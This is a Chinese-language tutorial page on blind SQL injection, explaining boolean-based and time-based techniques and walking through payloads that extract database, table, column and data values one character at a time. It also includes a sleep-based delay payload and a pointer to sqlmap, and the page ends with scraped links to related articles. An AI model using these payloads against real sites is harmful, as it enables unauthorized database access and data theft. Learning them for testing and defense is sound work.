盲注简介

所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。

盲注分类

1.布尔盲注
布尔很明显Ture和Fales,也就是说它只会根据你的注入信息返回True和Fales,也就没有了之前的报错信息。

2.时间盲注
界面返回值只有一种,True。无论输入和值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

盲注需要掌握的函数

length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码 [将字符变为数字wei]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

注入步骤

1.猜解数据库名称长度
id=1'and(length(database()))>n

2.猜解数库名称
and (ascii(substr(database(),1,1)))=115--+ 返回正常,说明数据库名称第一位是s

3.猜表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+ 返回正常,说明数据库表名的第一个的第一位是e

4.猜字段名
and (ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1)))=102--+ 返回正常,说明zkaq表中的列名称第一位是f

5.猜数据
and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122--+返回正常,说明zKaQ列第一位是z

利用工具

sqlmap工具

下载地址:https://github.com/sqlmapproject/sqlmap
下载好后直接解压,并且加入环境变量,就可以直接在cmd调用

也可用kali自带的sqlmap

延时注入方法

and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+
该语句表示,如果正确则10s后再加载页面

SQL注入:盲注的更多相关文章

  1. SQL注入--盲注及报错注入

    盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...

  2. SQL注入----盲注总结

    参考文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247490388&idx=1&sn=c677837d7 ...

  3. 关于sql注入盲注,谈谈自己的心得

    1.没做防御的站点,拿上sqlmap直接怼就行了. 2.做了防御,有的用函数过滤了,有的用了waf(比如安全狗,云锁,华为云waf,360waf,知道创宇盾,护卫神等等) 这些就相当麻烦了,首先要探测 ...

  4. SQL注入 盲注

    来源:http://www.cnblogs.com/cheatlove/articles/384233.html SQL注入攻击: (1) 脚本注入式的攻击(2) 恶意用户输入用来影响被执行的SQL脚 ...

  5. 防sql注入 盲注等措施 ESAPI的使用

    SQL注入往往是在程序员编写包含用户输入的动态数据库查询时产生的,但其实防范SQL注入的方法非常简单.程序员只要a)不再写动态查询,或b)防止用户输入包含能够破坏查询逻辑的恶意SQL语句,就能够防范S ...

  6. 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...

  7. SQL注入--显注和盲注中过滤逗号绕过

    SQL注入逗号绕过 1.联合查询显注绕过逗号 在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联 ...

  8. sql bool盲注

    [CISCN2019 总决赛 Day2 Web1]Easyweb 考察: robots.txt image.php?bak文件泄露,image.php.bak可以下载别的不大行 盲注 php日志挂马 ...

  9. SQL注入 手注与联合注入

    SQL注入,吧sql命令插入到WEB表单,或输入域名或页面亲求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令:            得到数据库用户名和密码 1:在以,{ .asp?id=32( ...

  10. sql布尔盲注和时间盲注的二分脚本

    布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...

随机推荐

  1. 非ssl给163发邮件,报错,无解ing

    #给163发送邮件import smtplibfrom email.mime.text import MIMETextnam='15527721040@163.com'send='1552772104 ...

  2. pytorch 创建tensor的几种方法

    tensor默认是不求梯度的,对应的requires_grad是False. 1.指定数值初始化 import torch #创建一个tensor,其中shape为[2] tensor=torch.T ...

  3. 浮点型数据需要转化为int,才能作为点,被读取abc = np.array(abc, dtype=np.int)

    import cv2 import numpy as np import matplotlib.pyplot as plt img = 'test.jpg' img = cv2.imread(img) ...

  4. golang 服务端和客户端(二)

    1.golang服务端 package main import( "net/http" ) func main(){ //注册处理函数,用户连接,自动调用指定的处理函数 http. ...

  5. MongoDB Java(七)

    在 Java 程序中如果要使用 MongoDB,你需要确保已经安装了 Java 环境及 MongoDB JDBC 驱动. mongodb-driver jar 下载地址:http://central. ...

  6. 【声明式事务】Spring事务介绍(一)

    事务管理对于企业应用来说是至关重要的,当出现异常情况时,它也可以保证数据的一致性. Spring事务有两种管理方式:编程式事务和声明式事务 编程式事务使用TransactionTemplate或者直接 ...

  7. Python 链表(linked list)

    链表是一种物理存储单元上非连续.非顺序的存储结构,数据元素的逻辑顺序是通过链表中的指针链接次序实现的 链表由一系列结点组成,结点可以在运行时动态生成 优点 由于不必须按顺序存储,链表在插入.删除的时候 ...

  8. 探索clickout指令实现

    实现一个可复用的点击区域之外方法 随着3大框架的风靡,我们从以前的layer等UI库迁移到了更加强大的UI库,比如vue的好伙伴element,组件库的作用是封装一些常用的功能,将HTML.CSS.J ...

  9. 5个问题带你了解export和import的使用以及export和export defalut 的区别

    问题一:export和import是什么? ES6新增模块(module)语法 问题二:export和import的作用是什么? export:规定模块的对外接口,相当于导出功能  import:用于 ...

  10. python学习笔记 - socket通信

    socket socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字"向网络发出请求或者应答网络请求. sock ...